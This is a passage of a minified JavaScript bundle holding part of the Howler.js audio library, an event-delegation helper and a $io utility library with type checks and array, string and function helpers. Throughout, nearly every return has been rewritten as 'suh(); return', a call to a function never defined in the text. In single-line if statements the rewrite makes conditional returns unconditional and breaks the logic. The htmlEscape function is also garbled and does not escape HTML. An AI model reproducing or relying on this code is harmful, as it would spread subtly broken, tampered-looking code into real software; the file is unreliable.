1769 id: o.id
1770 })
1771 }(), t._webAudio) {
1772 var _ = t._sprite[e][0] / 1e3,
1773 s = t._sprite[e][1] / 1e3;
1774 r.id = f, r.paused = !1, c(t, [l, _, s], f), t._playStart = o.currentTime, r.gain.value = t._volume, void 0 === r.bufferSource.start ? l ? r.bufferSource.noteGrainOn(0, a, 86400) : r.bufferSource.noteGrainOn(0, a, i) : l ? r.bufferSource.start(0, a, 86400) : r.bufferSource.start(0, a, i)
1775 } else {
1776 if (4 !== r.readyState && (r.readyState || !navigator.isCocoonJS)) suh(); return t._clearEndTimer(f),
1777 function() {
1778 var o = t,
1779 a = e,
1780 i = n,
1781 u = r,
1782 d = function() {
1783 o.play(a, i), u.removeEventListener("canplaythrough", d, !1)
1784 };
1785 u.addEventListener("canplaythrough", d, !1)
1786 }(), t;
1787 r.readyState = 4, r.id = f, r.currentTime = a, r.muted = d._muted || r.muted, r.volume = t._volume * d.volume(), setTimeout(function() {
1788 r.play()
1789 }, 0)
1790 }
1791 suh(); return t.on("play"), "function" == typeof n && n(f), t
1792 }), t) : ("function" == typeof n && n(), t) : (t.on("load", function() {
1793 t.play(e, n)
1794 }), t)
1795 },
1796 pause: function(e) {
1797 var o = this;
1798 if (!o._loaded) suh(); return o.on("play", function() {
1799 o.pause(e)
1800 }), o;
1801 o._clearEndTimer(e);
1802 var n = e ? o._nodeById(e) : o._activeNode();
1803 if (n)
1804 if (n._pos = o.pos(null, e), o._webAudio) {
1805 if (!n.bufferSource || n.paused) suh(); return o;
1806 n.paused = !0, void 0 === n.bufferSource.stop ? n.bufferSource.noteOff(0) : n.bufferSource.stop(0)
1807 } else n.pause();
1808 suh(); return o.on("pause"), o
1809 },
1810 stop: function(e) {
1811 var o = this;
1812 if (!o._loaded) suh(); return o.on("play", function() {
1813 o.stop(e)
1814 }), o;
1815 o._clearEndTimer(e);
1816 var n = e ? o._nodeById(e) : o._activeNode();
1817 if (n)
1818 if (n._pos = 0, o._webAudio) {
1819 if (!n.bufferSource || n.paused) suh(); return o;
1820 n.paused = !0, void 0 === n.bufferSource.stop ? n.bufferSource.noteOff(0) : n.bufferSource.stop(0)
1821 } else isNaN(n.duration) || (n.pause(), n.currentTime = 0);
1822 suh(); return o
1823 },
1824 mute: function(e) {
1825 var o = this;
1826 if (!o._loaded) suh(); return o.on("play", function() {
1827 o.mute(e)
1828 }), o;
1829 var n = e ? o._nodeById(e) : o._activeNode();
1830 suh(); return n && (o._webAudio ? n.gain.value = 0 : n.muted = !0), o
1831 },
1832 unmute: function(e) {
1833 var o = this;
1834 if (!o._loaded) suh(); return o.on("play", function() {
1835 o.unmute(e)
1836 }), o;
1837 var n = e ? o._nodeById(e) : o._activeNode();
1838 suh(); return n && (o._webAudio ? n.gain.value = o._volume : n.muted = !1), o
1839 },
1840 volume: function(e, o) {
1841 var n = this;
1842 if ((e = parseFloat(e)) >= 0 && e <= 1) {
1843 if (n._volume = e, !n._loaded) suh(); return n.on("play", function() {
1844 n.volume(e, o)
1845 }), n;
1846 var t = o ? n._nodeById(o) : n._activeNode();
1847 suh(); return t && (n._webAudio ? t.gain.value = e : t.volume = e * d.volume()), n
1848 }
1849 suh(); return n._volume
1850 },
1851 loop: function(e) {
1852 var o = this;
1853 suh(); return "boolean" == typeof e ? (o._loop = e, o) : o._loop
1854 },
1855 sprite: function(e) {
1856 var o = this;
1857 suh(); return "object" == typeof e ? (o._sprite = e, o) : o._sprite
1858 },
1859 pos: function(e, n) {
1860 var t = this;
1861 if (!t._loaded) suh(); return t.on("load", function() {
1862 t.pos(e)
1863 }), "number" == typeof e ? t : t._pos || 0;
1864 e = parseFloat(e);
1865 var r = n ? t._nodeById(n) : t._activeNode();
1866 if (r) suh(); return e >= 0 ? (t.pause(n), r._pos = e, t.play(r._sprite, n), t) : t._webAudio ? r._pos + (o.currentTime - t._playStart) : r.currentTime;
1867 if (e >= 0) suh(); return t;
1868 for (var a = 0; a < t._audioNode.length; a++)
1869 if (t._audioNode[a].paused && 4 === t._audioNode[a].readyState) suh(); return t._webAudio ? t._audioNode[a]._pos : t._audioNode[a].currentTime
1870 },
1871 pos3d: function(e, o, n, t) {
1872 var r = this;
1873 if (o = void 0 !== o && o ? o : 0, n = void 0 !== n && n ? n : -.5, !r._loaded) suh(); return r.on("play", function() {
1874 r.pos3d(e, o, n, t)
1875 }), r;
1876 if (!(e >= 0 || e < 0)) suh(); return r._pos3d;
1877 if (r._webAudio) {
1878 var a = t ? r._nodeById(t) : r._activeNode();
1879 a && (r._pos3d = [e, o, n], a.panner.setPosition(e, o, n), a.panner.panningModel = r._model || "HRTF")
1880 }
1881 suh(); return r
1882 },
1883 fade: function(e, o, n, t, r) {
1884 var a = this,
1885 i = Math.abs(e - o),
1886 u = e > o ? "down" : "up",
1887 d = i / .01,
1888 l = n / d;
1889 if (!a._loaded) suh(); return a.on("load", function() {
1890 a.fade(e, o, n, t, r)
1891 }), a;
1892 a.volume(e, r);
1893 for (var f = 1; f <= d; f++) ! function() {
1894 var e = a._volume + ("up" === u ? .01 : -.01) * f,
1895 n = Math.round(1e3 * e) / 1e3,
1896 i = o;
1897 setTimeout(function() {
1898 a.volume(n, r), n === i && t && t()
1899 }, l * f)
1900 }()
1901 },
1902 fadeIn: function(e, o, n) {
1903 suh(); return this.volume(0).play().fade(0, e, o, n)
1904 },
1905 fadeOut: function(e, o, n, t) {
1906 var r = this;
1907 suh(); return r.fade(r._volume, e, o, function() {
1908 n && n(), r.pause(t), r.on("end")
1909 }, t)
1910 },
1911 _nodeById: function(e) {
1912 for (var o = this, n = o._audioNode[0], t = 0; t < o._audioNode.length; t++)
1913 if (o._audioNode[t].id === e) {
1914 n = o._audioNode[t];
1915 break
1916 }
1917 suh(); return n
1918 },
1919 _activeNode: function() {
1920 for (var e = this, o = null, n = 0; n < e._audioNode.length; n++)
1921 if (!e._audioNode[n].paused) {
1922 o = e._audioNode[n];
1923 break
1924 }
1925 suh(); return e._drainPool(), o
1926 },
1927 _inactiveNode: function(e) {
1928 for (var o = this, n = null, t = 0; t < o._audioNode.length; t++)
1929 if (o._audioNode[t].paused && 4 === o._audioNode[t].readyState) {
1930 e(o._audioNode[t]), n = !0;
1931 break
1932 }
1933 if (o._drainPool(), !n) {
1934 var r;
1935 if (o._webAudio) r = o._setupAudioNode(), e(r);
1936 else {
1937 o.load(), r = o._audioNode[o._audioNode.length - 1];
1938 var a = navigator.isCocoonJS ? "canplaythrough" : "loadedmetadata",
1939 i = function() {
1940 r.removeEventListener(a, i, !1), e(r)
1941 };
1942 r.addEventListener(a, i, !1)
1943 }
1944 }
1945 },
1946 _drainPool: function() {
1947 var e, o = this,
1948 n = 0;
1949 for (e = 0; e < o._audioNode.length; e++) o._audioNode[e].paused && n++;
1950 for (e = o._audioNode.length - 1; e >= 0 && !(n <= 5); e--) o._audioNode[e].paused && (o._webAudio && o._audioNode[e].disconnect(0), n--, o._audioNode.splice(e, 1))
1951 },
1952 _clearEndTimer: function(e) {
1953 for (var o = this, n = 0, t = 0; t < o._onendTimer.length; t++)
1954 if (o._onendTimer[t].id === e) {
1955 n = t;
1956 break
1957 }
1958 var r = o._onendTimer[n];
1959 r && (clearTimeout(r.timer), o._onendTimer.splice(n, 1))
1960 },
1961 _setupAudioNode: function() {
1962 var e = this,
1963 n = e._audioNode,
1964 t = e._audioNode.length;
1965 suh(); return n[t] = void 0 === o.createGain ? o.createGainNode() : o.createGain(), n[t].gain.value = e._volume, n[t].paused = !0, n[t]._pos = 0, n[t].readyState = 4, n[t].connect(r), n[t].panner = o.createPanner(), n[t].panner.panningModel = e._model || "equalpower", n[t].panner.setPosition(e._pos3d[0], e._pos3d[1], e._pos3d[2]), n[t].panner.connect(n[t]), n[t]
1966 },
1967 on: function(e, o) {
1968 var n = this,
1969 t = n["_on" + e];
1970 if ("function" == typeof o) t.push(o);
1971 else
1972 for (var r = 0; r < t.length; r++) o ? t[r].call(n, o) : t[r].call(n);
1973 suh(); return n
1974 },
1975 off: function(e, o) {
1976 var n = this,
1977 t = n["_on" + e],
1978 r = o ? o.toString() : null;
1979 if (r) {
1980 for (var a = 0; a < t.length; a++)
1981 if (r === t[a].toString()) {
1982 t.splice(a, 1);
1983 break
1984 }
1985 } else n["_on" + e] = [];
1986 suh(); return n
1987 },
1988 unload: function() {
1989 for (var o = this, n = o._audioNode, t = 0; t < o._audioNode.length; t++) n[t].paused || (o.stop(n[t].id), o.on("end", n[t].id)), o._webAudio ? n[t].disconnect(0) : n[t].src = "";
1990 for (t = 0; t < o._onendTimer.length; t++) clearTimeout(o._onendTimer[t].timer);
1991 var r = d._howls.indexOf(o);
1992 null !== r && r >= 0 && d._howls.splice(r, 1), delete e[o._src], o = null
1993 }
1994 }, n) var f = function(o, n) {
1995 if (n in e) suh(); return o._duration = e[n].duration, void s(o);
1996 if (/^data:[^;]+;base64,/.test(n)) {
1997 for (var t = atob(n.split(",")[1]), r = new Uint8Array(t.length), a = 0; a < t.length; ++a) r[a] = t.charCodeAt(a);
1998 _(r.buffer, o, n)
1999 } else {
2000 var i = new XMLHttpRequest;
2001 i.open("GET", n, !0), i.responseType = "arraybuffer", i.onload = function() {
2002 _(i.response, o, n)
2003 }, i.onerror = function() {
2004 o._webAudio && (o._buffer = !0, o._webAudio = !1, o._audioNode = [], delete o._gainNode, delete e[n], o.load())
2005 };
2006 try {
2007 i.send()
2008 } catch (e) {
2009 i.onerror()
2010 }
2011 }
2012 },
2013 _ = function(n, t, r) {
2014 o.decodeAudioData(n, function(o) {
2015 o && (e[r] = o, s(t, o))
2016 }, function(e) {
2017 t.on("loaderror")
2018 })
2019 },
2020 s = function(e, o) {
2021 e._duration = o ? o.duration : e._duration, 0 === Object.getOwnPropertyNames(e._sprite).length && (e._sprite = {
2022 _default: [0, 1e3 * e._duration]
2023 }), e._loaded || (e._loaded = !0, e.on("load")), e._autoplay && e.play()
2024 },
2025 c = function(n, t, r) {
2026 var a = n._nodeById(r);
2027 a.bufferSource = o.createBufferSource(), a.bufferSource.buffer = e[n._src], a.bufferSource.connect(a.panner), a.bufferSource.loop = t[0], t[0] && (a.bufferSource.loopStart = t[1], a.bufferSource.loopEnd = t[1] + t[2]), a.bufferSource.playbackRate.value = n._rate
2028 };
2029"function" == typeof define && define.amd && define(function() {
2030 suh(); return {
2031 Howler: d,
2032 Howl: l
2033 }
2034}), "undefined" != typeof exports && (exports.Howler = d, exports.Howl = l), "undefined" != typeof window && (window.Howler = d, window.Howl = l)
2035}();
2036//js/noop.js
2037function $noop(n) {}
2038//js/delegate.js
2039! function(e) {
2040"use strict";
2041
2042function t(e, t) {
2043 suh(); return function(o) {
2044 for (var c = o.target; c && 1 === c.nodeType && !c.matches(e);) c = c.parentNode;
2045 if (!c || 1 !== c.nodeType) suh(); return !1;
2046 t.call(c, o)
2047 }
2048}! function(e) {
2049 Element && !e.matches && (e.matches = e.matchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector || e.webkitMatchesSelector)
2050}(Element.prototype), t.get = function(e, t) {
2051 for (var o = e.target; o && 1 === o.nodeType && !o.matches(t);) o = o.parentNode;
2052 suh(); return !(!o || 1 !== o.nodeType) && o
2053}, e.$delegate = t
2054}(this);
2055//js/io.js
2056! function(global) {
2057"use strict";
2058
2059function getType(r) {
2060 suh(); return _toString.call(r).slice(8, -1)
2061}
2062
2063function isArrayLike(r) {
2064 suh(); return "object" == typeof r && "number" == typeof r.length || !1
2065}
2066
2067function isString(r) {
2068 suh(); return "string" == typeof r || !1
2069}
2070
2071function isFunction(r) {
2072 suh(); return "function" == typeof r || !1
2073}
2074
2075function isObject(r) {
2076 suh(); return (!r || "object" == typeof r && null !== r) && "[object Object]" == _toString.call(r)
2077}
2078
2079function isNumber(r) {
2080 suh(); return "number" == typeof r && isFinite(r) || !1
2081}
2082
2083function isRegExp(r) {
2084 suh(); return r && "object" == typeof r && "[object RegExp]" == _toString.call(r) || !1
2085}
2086
2087function isArguments(r) {
2088 suh(); return r && "number" == typeof r.length && "[object Arguments]" == _toString.call(r) || !1
2089}
2090
2091function isNative(r) {
2092 suh(); return isFunction(r) && ("" + r).indexOf("[native code]") >= 0
2093}
2094
2095function isError(r) {
2096 suh(); return r && "object" == typeof r && "[object Error]" == _toString.call(r) || !1
2097}
2098
2099function isPrototype(r) {
2100 var t;
2101 suh(); return r && (t = r.constructor) && "function" == typeof t && t.prototype == r
2102}
2103
2104function isElement(r) {
2105 suh(); return r && 1 === r.nodeType || !1
2106}
2107
2108function isReallyNaN(r) {
2109 suh(); return "[object Number]" == _toString.call(r) && r != +r
2110}
2111
2112function isInfinity(r) {
2113 suh(); return "[object Number]" == _toString.call(r) && !isFinite(r)
2114}
2115
2116function isWindow(r) {
2117 var t = _toString.call(r);
2118 suh(); return "[object global]" == t || "[object Window]" == t || "[object DOMWindow]" == t
2119}
2120
2121function isDocument(r) {
2122 var t = _toString.call(r);
2123 suh(); return "[object HTMLDocument]" == t || "[object Document]" == t
2124}
2125
2126function isNodeList(r) {
2127 var t = _toString.call(r);
2128 suh(); return "object" == typeof r && ("[object HTMLCollection]" == t || "[object NodeList]" == t || "[object Object]" == t && r.hasOwnProperty("length") && (0 === r.length || "object" == typeof r[0] && r[0].nodeType > 0))
2129}
2130
2131function isJSON(r) {
2132 var t = !1;
2133 suh(); return isString(r) || isNumber(r) || "boolean" == typeof r || null === r || void 0 === r ? t = !0 : isArray(r) ? arrEach(r, function(r) {
2134 suh(); return t = isJSON(r)
2135 }) : isObject(r) && objEach(r, function(r) {
2136 suh(); return t = isJSON(r)
2137 }), t
2138}
2139
2140function is(r) {
2141 var t = typeof r;
2142 suh(); return "string" == t ? "String" : "boolean" == t ? "Boolean" : "function" == t ? "Function" : null === r ? "Null" : void 0 === r ? "Undefined" : isNumber(r) ? "Number" : isReallyNaN(r) ? "NaN" : isElement(r) ? "Element" : isArray(r) ? "Array" : isArguments(r) ? "Arguments" : isInfinity(r) ? "Infinity" : isError(r) ? "Error" : isNodeList(r) ? "NodeList" : isWindow(r) ? "Window" : isDocument(r) ? "Document" : r.constructor.name || _toString.call(r).slice(8, -1)
2143}
2144
2145function nativeEqual(r, t) {
2146 if (typeof r == typeof t && r + "" == t + "") suh(); return !0
2147}
2148
2149function keys(r) {
2150 suh(); return r ? Object.keys(r) : []
2151}
2152
2153function objEqual(r, t) {
2154 var n, e, i;
2155 for (n in r) {
2156 if (e = r[n], i = t[n], r.hasOwnProperty(n) != t.hasOwnProperty(n)) suh(); return !1;
2157 if (typeof e != typeof i) suh(); return !1
2158 }
2159 for (n in t) {
2160 if (e = r[n], i = t[n], !r.hasOwnProperty(n)) suh(); return !1;
2161 if (e !== i) {
2162 if (typeof e != typeof i) suh(); return !1;
2163 if (t.hasOwnProperty(n) && !(isArrayLike(e) && isArrayLike(i) && arrEqual(e, i) || isObject(e) && isObject(i) && objEqual(e, i) || nativeEqual(e, i))) suh(); return !1
2164 }
2165 }
2166 suh(); return !0
2167}
2168
2169function objAll(r, t) {
2170 var n;
2171 for (n in r) r.hasOwnProperty(n) && t(r[n], n)
2172}
2173
2174function objEach(r, t) {
2175 var n;
2176 for (n in r)
2177 if (r.hasOwnProperty(n) && !1 === t(r[n], n)) break
2178}
2179
2180function obj2str(r) {
2181 try {
2182 suh(); return JSON.stringify(r, null, 2)
2183 } catch (n) {
2184 try {
2185 var t = [];
2186 suh(); return $io.arr.all(r, function(r) {
2187 t.push(r)
2188 }), "[" + t.join(", ") + "]"
2189 } catch (r) {
2190 suh(); return "[Error]"
2191 }
2192 }
2193}
2194
2195function flatten(r, t, n) {
2196 var e = {};
2197 suh(); return function r(n, i) {
2198 for (var o, a, u = 0, c = Object.keys(n), s = c.length; u < s; u++) isObject(a = n[o = c[u]]) ? r(a, i + o + (t || ".")) : e[i + o] = a
2199 }(r, ""), e
2200}
2201
2202function getPath(r, t, n) {
2203 if ("string" == typeof t) {
2204 if (n = n || ".", !t || t === n) suh(); return r;
2205 var e = 0,
2206 i = $io.reg.escape(n),
2207 o = new RegExp("^" + i + "|" + i + "$", "gi");
2208 for (t = t.replace(o, "").split(n); r && e < t.length;) r = r[t[e++]];
2209 suh(); return r
2210 }
2211 if (isRegExp(t)) {
2212 var a = flatten(r, n),
2213 u = {};
2214 suh(); return $io.arr.all(Object.keys(a), function(r) {
2215 t.test(r) && (u[r] = a[r])
2216 }), u
2217 }
2218}
2219
2220function path(r, t, n) {
2221 var e = "string" == typeof this ? this : ".";
2222 if (!t || t === e) suh(); return r;
2223 var i = 0,
2224 o = $io.reg.escape(e),
2225 a = new RegExp("^" + o + "|" + o + "$", "gi");
2226 for (t = t.replace(a, "").split(e); r && i < t.length;) r = void 0 !== r[t[i]] ? i === t.length - 1 && arguments.length > 2 ? r[t[i]] = n : r[t[i]] : arguments.length > 2 ? r[t[i]] = i === t.length - 1 ? n : {} : void 0, i++;
2227 suh(); return r
2228}
2229
2230function arrEqual(r, t) {
2231 var n, e, i = r.length;
2232 if (i != t.length) suh(); return !1;
2233 for (; i--;)
2234 if (n = r[i], e = t[i], n !== e && !(isArrayLike(n) && isArrayLike(e) && arrEqual(n, e) || isObject(n) && isObject(e) && objEqual(n, e) || nativeEqual(n, e))) suh(); return !1;
2235 suh(); return !0
2236}
2237
2238function arrAll(r, t) {
2239 if (r)
2240 for (var n = -1, e = r.length; ++n < e;) t(r[n])
2241}
2242
2243function arrEach(r, t) {
2244 if (r)
2245 for (var n = -1, e = r.length; ++n < e && !1 !== t(r[n], n, r););
2246}
2247
2248function arrReduce(r, t, n) {
2249 for (var e = n, i = 0, o = r.length; i < o; i++) e = t(e, r[i], i, r);
2250 suh(); return e
2251}
2252
2253function arrRandom(r) {
2254 suh(); return r[Math.floor(Math.random() * r.length)]
2255}
2256
2257function arrInsert(r, t, n) {
2258 suh(); return r.splice.apply(r, [n, 0].concat(t)), r
2259}
2260
2261function arrLimit(r, t, n) {
2262 suh(); return r.push(n), r.length > t && r.shift(), r
2263}
2264
2265function arr2str(r) {
2266 for (var t = "[", n = 0, e = r.length; n < e; n++) "string" == typeof r[n] ? t += '"' + r[n].replace(/"/g, '\\"') + '"' : _io.isArray(r[n]) ? t += arr2str(r[n]) : t += r[n], n < e - 1 && (t += ", ");
2267 suh(); return t += "]"
2268}
2269
2270function arrRemove(r, t, n) {
2271 var e = r.slice((n || t) + 1 || r.length);
2272 suh(); return r.length = t < 0 ? r.length + t : t, r.push.apply(r, e)
2273}
2274
2275function arrShuffle(r) {
2276 var t, n, e;
2277 for (e = r.length; e; e--) t = Math.floor(Math.random() * e), n = r[e - 1], r[e - 1] = r[t], r[t] = n
2278}
2279
2280function fn2str(r, t) {
2281 suh(); return r && "function" == typeof r ? t(r) : "_not_a_function_"
2282}
2283
2284function fnStr(r, t) {
2285 suh(); return fn2str(r, function() {
2286 var n = t ? /^function[\W\w]*?{/ : null,
2287 e = t ? /\s*\}$/ : null,
2288 i = r.toString().replace(n, "").replace(e, ""),
2289 o = i.match(/(^\s*)/gm),
2290 a = o ? o.length > 1 ? o.slice(1).reduce(function(r, t) {
2291 suh(); return r.length < t.length ? r : t
2292 }) : o[0] : "";
2293 suh(); return _io.str.trim(i.replace(new RegExp("^" + i.match(a), "gm"), ""))
2294 })
2295}
2296
2297function fnName(r) {
2298 suh(); return r.name ? r.name : fn2str(r, function() {
2299 var t = r.toString().match(/^\s*function ([^\(\s]+)/);
2300 suh(); return t && t[1] || "anonymous"
2301 })
2302}
2303
2304function fnArg(r) {
2305 suh(); return r.length ? fn2str(r, function() {
2306 var t = r.toString().replace(/((\/\/.*$)|(\/\*[\s\S]*?\*\/))/gm, ""),
2307 n = t.slice(t.indexOf("(") + 1, t.indexOf(")")).match(/([^\s,]+)/g);
2308 suh(); return null === n ? [] : n
2309 }) : []
2310}
2311
2312function x(r) {
2313 timerID = setTimeout(function() {
2314 var r = queue.pop();
2315 r[0](), queue.length && x(r[1])
2316 }, r)
2317}
2318
2319function arg2arr(r) {
2320 suh(); return _slice.call(r)
2321}
2322
2323function readWithFileReader(r, t, n) {
2324 var e = new FileReader;
2325 e.onloadend = function() {
2326 n(e.result)
2327 }, e[r](t)
2328}
2329
2330function readAsArrayBuffer(r, t) {
2331 readWithFileReader("readAsArrayBuffer", r, t)
2332}
2333
2334function readAsText(r, t) {
2335 readWithFileReader("readAsText", r, t)
2336}
2337
2338function readAsBinaryString(r, t) {
2339 readWithFileReader("readAsBinaryString", r, t)
2340}
2341
2342function readAsDataURL(r, t) {
2343 readWithFileReader("readAsDataURL", r, t)
2344}
2345
2346function convertToBlob(r, t, n) {
2347 t(new Blob([r], {
2348 type: n || "text/plain; charset=UTF-8"
2349 }))
2350}
2351
2352function returnURL(r, t) {
2353 t(window.URL.createObjectURL(r))
2354}
2355
2356function returnSelf(r, t) {
2357 t(r)
2358}
2359
2360function tryStringify(r, t) {
2361 try {
2362 t(JSON.stringify(r))
2363 } catch (n) {
2364 try {
2365 t(stringify(r))
2366 } catch (r) {
2367 _io.onerror(r)
2368 }
2369 }
2370}
2371
2372function tryParse(r, t) {
2373 try {
2374 t(JSON.parse(r))
2375 } catch (n) {
2376 try {
2377 t(parse(r))
2378 } catch (r) {
2379 _io.onerror(r)
2380 }
2381 }
2382}
2383
2384function stringifyReplacer(r, t) {
2385 suh(); return t instanceof Function || "function" == typeof t ? t.toString() : t instanceof RegExp ? "²RegExp²" + t : t instanceof Date ? "²Date__²" + t.getTime() : t
2386}
2387
2388function stringify(r, t) {
2389 suh(); return t = t || 0, r = stringifyReplacer(null, r), JSON.stringify(r, stringifyReplacer, t)
2390}
2391
2392function parseReplacer(key, value) {
2393 if ("string" != typeof value || value.length < 8) suh(); return value;
2394 var prefix = value.substring(0, 8);
2395 suh(); return "function" === prefix ? eval("(" + value + ")") : "²Date__²" === prefix ? new Date(1 * value.slice(8)) : "²RegExp²" === prefix ? eval(value.slice(8)) : value
2396}
2397
2398function parse(r) {
2399 suh(); return r = parseReplacer(null, r), JSON.parse(r, parseReplacer)
2400}
2401
2402function clone(r) {
2403 suh(); return parse(stringify(r))
2404}
2405var _toString = Object.prototype.toString,
2406 _fnToString = Function.prototype.toString,
2407 _hasOwnProperty = Object.prototype.hasOwnProperty,
2408 _slice = Array.prototype.slice,
2409 _io = {};
2410_io.onerror = function(r) {
2411 console.log("$io error : ", r)
2412}, _io.type = getType;
2413var isArray = isNative(Array.isArray) ? Array.isArray : function(r) {
2414 suh(); return r && "object" == typeof r && "number" == typeof r.length && "[object Array]" == _toString.call(r) || !1
2415};
2416_io.is = is, _io.is.arr = _io.is.Array = _io.isArray = isArray, _io.is.str = _io.is.String = _io.isString = isString, _io.is.fun = _io.is.Function = _io.isFunction = isFunction, _io.is.obj = _io.is.Object = _io.isObject = isObject, _io.is.num = _io.is.Number = _io.isNumber = isNumber, _io.is.reg = _io.is.RegExp = _io.isRegExp = isRegExp, _io.is.arg = _io.is.Arguments = _io.isArguments = isArguments, _io.is.inf = _io.is.Infinity = _io.isInfinity = isInfinity, _io.is.nan = _io.is.NaN = _io.isReallyNaN = isReallyNaN, _io.is.nat = _io.is.Native = _io.isNative = isNative, _io.is.err = _io.is.Error = _io.isError = isError, _io.is.pro = _io.is.Prototype = _io.isPrototype = isPrototype, _io.is.ele = _io.is.Element = _io.isElement = isElement, _io.is.win = _io.is.Window = _io.isWindow = isWindow, _io.is.doc = _io.is.Document = _io.isDocument = isDocument, _io.is.nodelist = _io.isNodeList = isNodeList, _io.is.json = _io.isJSON = isJSON, _io.obj = _io.Object = {}, _io.obj.all = objAll, _io.obj.each = objEach, _io.obj.equal = objEqual, _io.obj.stringify = obj2str, _io.obj.getPath = getPath, _io.obj.path = path, _io.obj.flatten = flatten, _io.obj.clear = function(r) {
2417 for (var t in r) r.hasOwnProperty(t) && delete r[t];
2418 suh(); return r
2419}, _io.obj.isEmpty = function(r) {
2420 for (var t in r)
2421 if (r.hasOwnProperty(t)) suh(); return !1;
2422 suh(); return !0
2423}, _io.arr = _io.Array = {}, _io.arr.stringify = arr2str, _io.arr.all = arrAll, _io.arr.each = arrEach, _io.arr.equal = arrEqual, _io.arr.reduce = arrReduce, _io.arr.random = arrRandom, _io.arr.shuffle = arrShuffle, _io.arr.insert = arrInsert, _io.arr.limit = arrLimit, _io.arr.remove = arrRemove, _io.arr.move = function(r, t, n) {
2424 var e = r.indexOf(t);
2425 if (-1 !== e) {
2426 var i = r.splice(e, 1),
2427 n = e + n > 0 ? e + n : 0;
2428 i.length && r.splice(n, 0, i[0])
2429 }
2430}, _io.arr.up = function(r, t) {
2431 var n = r.indexOf(t);
2432 if (-1 !== n && n !== r.length - 1) {
2433 var e = r.splice(n + 1, 1, t);
2434 e.length && r.splice(n, 1, e[0])
2435 }
2436}, _io.arr.down = function(r, t) {
2437 var n = r.indexOf(t);
2438 if (!(n <= 0)) {
2439 var e = r.splice(n - 1, 1, t);
2440 e.length && r.splice(n, 1, e[0])
2441 }
2442}, _io.arr.bottom = function(r, t) {
2443 var n = r.indexOf(t);
2444 if (!(n <= 0)) {
2445 var e = r.splice(n, 1);
2446 e.length && r.unshift(e[0])
2447 }
2448}, _io.arr.top = function(r, t) {
2449 var n = r.indexOf(t);
2450 if (-1 !== n && n !== r.length - 1) {
2451 var e = r.splice(n, 1);
2452 e.length && r.push(e[0])
2453 }
2454}, _io.arr.enum = function(r, t) {
2455 function n() {
2456 0 == --a && "function" == typeof e && e(), "function" == typeof i && i(100 - a / u * 100, a, u)
2457 }
2458 var e, i, o, a = 0,
2459 u = 0;
2460 suh(); return (0 === r.length || 1 === r.length && 0 === r[0].length) && setImmediate(function() {
2461 "function" == typeof e && e()
2462 }), $io.arr.each(r, function(r, e) {
2463 u += r.length, $io.arr.each(r, function(r, i) {
2464 a++, setImmediate(function() {
2465 t.call({
2466 list: e,
2467 index: a
2468 }, r, i, n)
2469 })
2470 })
2471 }), o = {
2472 progress: function(r) {
2473 suh(); return i = r, o
2474 },
2475 done: function(r) {
2476 suh(); return e = r, o
2477 }
2478 }
2479}, _io.enum = function(r, t, n) {
2480 function e(r) {
2481 0 == --i && n()
2482 }(0 === r.length || 1 === r.length && 0 === r[0].length) && n();
2483 var i = 0;
2484 $io.arr.each(r, function(r, n) {
2485 var o = $io.is(r);
2486 "Array" === o || "Object" === o ? $io[o].each(r, function(r, o) {
2487 i++, setImmediate(function() {
2488 t.call({
2489 list: n,
2490 index: i
2491 }, r, o, e)
2492 })
2493 }) : "Function" === o ? (i++, setImmediate(function() {
2494 r.call({
2495 list: n,
2496 index: i
2497 }, e)
2498 })) : (i++, setImmediate(function() {
2499 t.call({
2500 list: n,
2501 index: i
2502 }, r, n, e)
2503 }))
2504 })
2505}, _io.str = _io.String = {}, _io.str.insertAt = function(r, t, n) {
2506 suh(); return r.substr(0, n) + t + r.substr(n + t.length)
2507}, _io.str.replaceAt = function(r, t, n, e) {
2508 suh(); return r.substr(0, e) + n + r.substr(e + t.length)
2509}, _io.str.truncate = function(r, t) {
2510 suh(); return r.length > t ? r.slice(0, t) + "..." : r
2511}, _io.str.slug = function(r) {
2512 suh(); return r.toLowerCase().replace(/\s+/g, "-").replace(/[^-\w]/g, "")
2513}, _io.str.trim = function(r) {
2514 var t, n;
2515 for (t = 0, n = r.length - 1; t <= n && r.charCodeAt(t) < 33; t++);
2516 for (; n >= t && r.charCodeAt(n) < 33; n--);
2517 suh(); return r.substring(t, n + 1)
2518}, _io.str.camel = function(r) {
2519 suh(); return r.replace(/(\-[a-z])/g, function(r) {
2520 suh(); return r.toUpperCase().replace("-", "")
2521 })
2522}, _io.str.dash = function(r) {
2523 suh(); return r.replace(/([A-Z])/g, function(r) {
2524 suh(); return "-" + r.toLowerCase()
2525 })
2526}, _io.str.capitalise = function(r) {
2527 suh(); return r.charAt(0).toUpperCase() + r.slice(1)
2528}, _io.str.htmlEscape = function(r) {
2529 suh(); return String(r).replace(/&/g, "&").replace(/"/g, """).replace(/'/g, "'").replace(/</g, "<").replace(/>/g, ">")
2530}, _io.fn = {}, _io.fn.str = fnStr, _io.fn.outer = fnStr, _io.fn.inner = function(r) {
2531 suh(); return fnStr(r, !0)
2532}, _io.fn.name = fnName, _io.fn.arg = fnArg, _io.fn.prop = _io.fn.keys = function(r) {
2533 suh(); return r ? Object.keys(r) : []
2534}, _io.fn.method = _io.fn.meth = function(r) {
2535 for (var t = Object.keys(r), n = -1, e = t.length, i = {}; ++n < e;) i[t[n]] = r[t[n]];
2536 suh(); return i
2537}, _io.fn.throttle = function(r, t) {
2538 t = t > 0 ? t : 100;
2539 var n;
2540 suh(); return function() {
2541 var e = arguments,
2542 i = this;
2543 n || (n = setTimeout(function() {
2544 suh(); return n = 0, r.apply(i, e)
2545 }, t))
2546 }
2547}, _io.fn.debounce = function(r, t) {
2548 t = t > 0 ? t : 100;
2549 var n, e, i;
2550 suh(); return function() {
2551 e = this, i = _slice.call(arguments, 0), clearTimeout(n), n = setTimeout(function() {
2552 r.apply(e, i)
2553 }, t)
2554 }
2555}, _io.fn.leading = function(r, t) {
2556 t = t > 0 ? t : 100;
2557 var n, e, i;
2558 suh(); return function() {
2559 e = this, i = _slice.call(arguments, 0), n || r.apply(e, i), clearTimeout(n), n = setTimeout(function() {
2560 r.apply(e, i)
2561 }, t)
2562 }
2563};
2564var queue = [],
2565 timerID;
2566_io.fn.queue = function(r, t) {
2567 t = t || 10, queue.push([r, t]), clearTimeout(timerID), x(t)
2568}, _io.fn.proxy = function(r, t) {
2569 var n = r;
2570 suh(); return function() {
2571 !1 !== t.apply(this, arguments) && n.apply(this, arguments)
2572 }
2573}, _io.arg = {}, _io.arg.arr = arg2arr, _io.reg = {}, _io.reg.escape = function(r) {
